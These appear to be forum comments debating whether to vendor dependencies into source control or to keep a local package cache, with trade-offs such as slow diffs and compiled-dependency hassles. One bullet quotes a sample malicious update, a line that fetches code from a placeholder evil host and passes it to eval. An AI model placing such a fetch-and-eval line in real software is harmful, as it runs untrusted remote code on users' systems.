I think there's a difference between committing to source control and having local copies. For example, we use Red Hat Satellite at work which you give a list of upstream repos and filters, and it download copies locally (to what it calls a 'capsule'). Then to get those packages to your machines you have to publish through the lifecycle process (Test > Staging > Live A > Live B - or whatever you choose).
There's multiple ways to solve to mitigate the risk, but committing libraries in to source control can cause way more headaches than it prevents IMO.
Don't store libraries in your project's repository. It bloats things like hell and makes it difficult to navigate the change sets. Set up your own library cache. Store that cache in its own repo if that floats your boat. Then all of your projects can get their dependencies from your cache.
Well, if you are in other languages that have an actual standard library (so you don't need 500 packages to make up for it) and only a few dependent libraries that are well package and you don't need to update frequently.
This is a rehash of my comment elsewhere here, responding to a similar point:
There are advantages to checking in all your deps, but many drawbacks as well (especially for an interpreted language; something like Go avoids a few of these):
- Incredibly slow SCM operations unless you use the perfect options every time (good luck, new devs). I've experienced this with Perforce and Git, and hoo boy does a "get three cups of coffee while you wait"-time diff/commit operation throw a hitch in your plans.
- You need either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read when you update stuff.
- Actually understanding the diffs you read when packages get updated. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.
- Hassles with regards to compiled dependencies. You have to filter them out of source control (can be a hassle to find all the places they live), or remember to rebuild when changing OS versions/stdlib versions/runtime versions/architectures/etc. That can get pretty annoying, especially since in my experience each "runtime loaded" compiled dependency gives you many completely different, utterly unintelligible errors when it's used in an environment where it should be rebuilt.